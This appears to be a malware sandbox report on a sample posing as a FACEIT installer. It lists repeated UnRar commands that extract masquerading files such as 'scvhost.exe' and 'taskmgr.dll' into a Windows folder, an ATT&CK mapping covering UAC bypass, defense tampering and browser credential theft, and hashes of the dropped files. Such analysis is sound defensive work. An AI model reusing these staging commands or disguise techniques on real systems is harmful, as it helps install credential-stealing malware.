          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:1396
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4208
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:5960
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:3864
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:2000
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4380
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:3400
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4672
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:5340
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:2132
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:5512
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:2640
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4388
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:324
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:5076
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4088
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:1264
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:5348
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:3552
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:1156
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:396

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            4
            T1059

            PowerShell

            1
            T1059.001

            Visual Basic

            1
            T1059.005

            Windows Command Shell

            1
            T1059.003

            System Services

            1
            T1569

            Service Execution

            1
            T1569.002

            Windows Management Instrumentation

            1
            T1047

            Persistence

            Boot or Logon Autostart Execution

            1
            T1547

            Winlogon Helper DLL

            1
            T1547.004

            Create or Modify System Process

            4
            T1543

            Windows Service

            4
            T1543.003

            Privilege Escalation

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Boot or Logon Autostart Execution

            1
            T1547

            Winlogon Helper DLL

            1
            T1547.004

            Create or Modify System Process

            4
            T1543

            Windows Service

            4
            T1543.003

            Defense Evasion

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Direct Volume Access

            1
            T1006

            Impair Defenses

            4
            T1562

            Disable or Modify Tools

            3
            T1562.001

            Indicator Removal

            3
            T1070

            File Deletion

            3
            T1070.004

            Modify Registry

            6
            T1112

            Credential Access

            Credentials from Password Stores

            1
            T1555

            Credentials from Web Browsers

            1
            T1555.003

            Unsecured Credentials

            1
            T1552

            Credentials In Files

            1
            T1552.001

            Discovery

            Query Registry

            1
            T1012

            System Information Discovery

            1
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            System Network Configuration Discovery

            2
            T1016

            Internet Connection Discovery

            1
            T1016.001

            Lateral Movement

            Collection

            Data from Local System

            1
            T1005

            Command and Control

            Exfiltration

            Impact

            Inhibit System Recovery

            3
            T1490

            Service Stop

            1
            T1489

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            BerserkGuardDll.dll
            • Path C:\ProgramData\Microsoft DevDiv\BerserkGuardDll.dll
            • Size 689KB
            • SHA256 cf005154fae033170655dbdfcddb3eb8982a5511b47eca6628b2caaa591057ca
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            service.log
            • Path C:\ProgramData\Microsoft DevDiv\service.log
            • Size 1KB
            • SHA256 01bfbd17780239f337afc3214b91a3738df9b85a97e9d6a8aff9ae2fc22032e0
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            service.log
            • Path C:\ProgramData\Microsoft DevDiv\service.log
            • Size 3KB
            • SHA256 7c8c2a26d315965651be852860ed79d96472ff465272fa1b6e94fb6e1b5e6e5e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            service.log
            • Path C:\ProgramData\Microsoft DevDiv\service.log
            • Size 5KB
            • SHA256 f835a44267d0dffda02d5d5036a3ef2ccd0e33b9fbeece7d84e97b380215734d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            service.log
            • Path C:\ProgramData\Microsoft DevDiv\service.log
            • Size 6KB
            • SHA256 5a78a3d6bf5321dade57500e3aee1ebec24ba65da53ae8f00cd031bb3c207ff8
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            service.log
            • Path C:\ProgramData\Microsoft DevDiv\service.log
            • Size 9KB
            • SHA256 b47a0fce68587436b48e7dda8f5c773332427167c8840d7999bdb7cdd4a6ebf8
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            service.log
            • Path C:\ProgramData\Microsoft DevDiv\service.log
            • Size 9KB
            • SHA256 5e0001d20b28d087248fcb10cc2c66e15e92ec2a4d11125422f770256c6c126a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            service.log
            • Path C:\ProgramData\Microsoft DevDiv\service.log
            • Size 10KB
            • SHA256 82a116c409ffc25cc47c03b431047998ce7c2252957f6860ed17dbe27de40c2b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            service.log
            • Path C:\ProgramData\Microsoft DevDiv\service.log
            • Size 12KB
            • SHA256 a9d04b29d288484a4391096880bda02230926b772758a63804a88fde59223e3d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            service.log
            • Path C:\ProgramData\Microsoft DevDiv\service.log
            • Size 24KB
            • SHA256 47f09ce188c27dd039abddb13b3e712920403accb5863a252fecaa3feb68862d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Google Chrome.lnk
            • Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
            • Size 2KB
            • SHA256 a82a3a6a775d8faac50f6e079fcb93a1646957c693a7d1781e6cd2eca1e61c72
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Microsoft Edge.lnk
            • Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk
            • Size 2KB
            • SHA256 094f7e54856b234e2a32674af1e3ea4c72a3999d540bcecdb11961d3e5a9db3f
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            install_log.txt
            • Path C:\ProgramData\WindowsOptions\install_log.txt
            • Size 4KB
            • SHA256 25d0c6010cb7f0694e44ab351a01c5dd04c9b523225b087810b264f82e4c3bd1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ModuleAnalysisCache
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 67KB
            • SHA256 1ad47e3b70dc306b6d562c0ccfa725202d2c0d25f3e8a831315033f88ad529a7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 aa50207b514c57cc98aa23aec10f7d95033108a669754586b0f4aefcd1128362
            • MD5 SHA1 SHA512
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
            • MD5 SHA1 SHA512
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 f1400a6e5c3aa7862e57d52598f98d286d0fa8132f68bd290006ebb05d0c9dc1
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 bd48fb152542e775cff13348ed32295c3c5835320a43bd5db62344829679da53
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            BerserkGuard.exe
            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\BerserkGuard.exe
            • Size 2.6MB
            • SHA256 891dd9ce245127270ce5d3b723c73b1ebc57bc75b2c28730d632d9a5c5b2e559
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            MR_ROBOT.txt
            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\MR_ROBOT.txt
            • Size 83B
            • SHA256 0f52e0576cc57bd650f0fdcb16bfea2323837d24cf57bf5ea045cd37312c2dcb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Run.vbs
            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs
            • Size 278B
            • SHA256 e77f96ce817adf17e58ae5671a361858ea0ca5b3bfa1d3c9fe3988f18447300e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            UnRAR.exe
            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe
            • Size 547KB
            • SHA256 e785a0c0dcf79385f0483c1eb2242e3937d0447f6b21dd158906e92757b46542
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            WinSW-x64.exe
            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\WinSW-x64.exe
            • Size 17.4MB
            • SHA256 05b82d46ad331cc16bdc00de5c6332c1ef818df8ceefcd49c726553209b3a0da
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            driver.exe
            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\driver.exe
            • Size 12.8MB
            • SHA256 eb625aaebf37ba638b19532b69392aa8c2aa6d4d2f521b293f8c80dfaa1ad389
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            dummy_15mb.bin
            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\dummy_15mb.bin
            • Size 15.0MB
            • SHA256 8325004a7e3abfe594e766fdbeb4c7fb8f12cda6e711940066966b80ad33468a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            install.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.ps1
            • Size 40KB
            • SHA256 22df77f8c96e1a3b01a3f69fefc7d611ed06405ebba4174dfcf67773372a41b1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            scvhost.exe
            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\scvhost.exe
            • Size 15.6MB
            • SHA256 7c200ff9eb0c09ec7e5357675f5fa20da168ea06194a65901a9687b8110576e8
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            taskmgr.dll
            • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskmgr.dll
            • Size 111KB
            • SHA256 c7f23c16c24d0d481f0d068992d6c03a525a97d176e1bbdb6b2135ea70825a73
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            __PSScriptPolicyTest_kaamooss.hmx.psm1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kaamooss.hmx.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            FACEITInstaller_64.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\is-1EXFW0C7X2.tmp\FACEITInstaller_64.tmp
            • Size 4.4MB
            • SHA256 e8a2ebc650c5a3205127cb95d0b86a4ff7f7ef037ff05825fcb491e207ffca49
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            scr_14f42127-a06d-4a81-b6af-9917a3f379f0.png
            • Path C:\Users\Admin\AppData\Local\Temp\scr_14f42127-a06d-4a81-b6af-9917a3f379f0.png
            • Size 496KB
            • SHA256 2258b09ae2e8c1f9c0edd9269d95fe068b7c30d30e081606d69485c054307719
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Google Chrome.lnk
            • Path C:\Users\Public\Desktop\Google Chrome.lnk
            • Size 2KB
            • SHA256 b45fc264b28a42c3cc612603f426fab0d91df06f44740169c251c77ee2bcc3fb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            GameDriverX64.sys
            • Path C:\Windows\System32\drivers\GameDriverX64.sys
            • Size 56KB
            • SHA256 9ddae47ff968343a8c32a5344060257fdc08e2a7bdb9a227c8b3a584ee3c9f1e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/1356-438-0x0000000000B20000-0x0000000000F9E000-memory.dmp
            Download

            memory/1356-547-0x0000000000B20000-0x0000000000F9E000-memory.dmp
            Download

            memory/1356-534-0x0000000000B20000-0x0000000000F9E000-memory.dmp
            Download

            memory/1356-516-0x0000000000B20000-0x0000000000F9E000-memory.dmp
            Download

            memory/1356-388-0x0000000000B20000-0x0000000000F9E000-memory.dmp
            Download

            memory/1356-477-0x0000000000B20000-0x0000000000F9E000-memory.dmp
            Download

            memory/2596-387-0x0000000000E70000-0x0000000000F94000-memory.dmp
            Download

            memory/2596-276-0x0000000000E70000-0x0000000000F94000-memory.dmp
            Download

            memory/4824-43-0x0000017672380000-0x0000017672432000-memory.dmp
            Download

            memory/4824-44-0x0000017671EF0000-0x0000017671EFA000-memory.dmp
            Download

            memory/4824-42-0x0000017672360000-0x000001767237E000-memory.dmp
            Download

            memory/4824-16-0x0000017671E40000-0x0000017671E62000-memory.dmp
            Download

            memory/4824-318-0x0000017673BD0000-0x00000176740F8000-memory.dmp
            Download

            memory/4824-287-0x0000017673300000-0x000001767331E000-memory.dmp
            Download

            memory/4824-312-0x00000176734D0000-0x0000017673692000-memory.dmp
            Download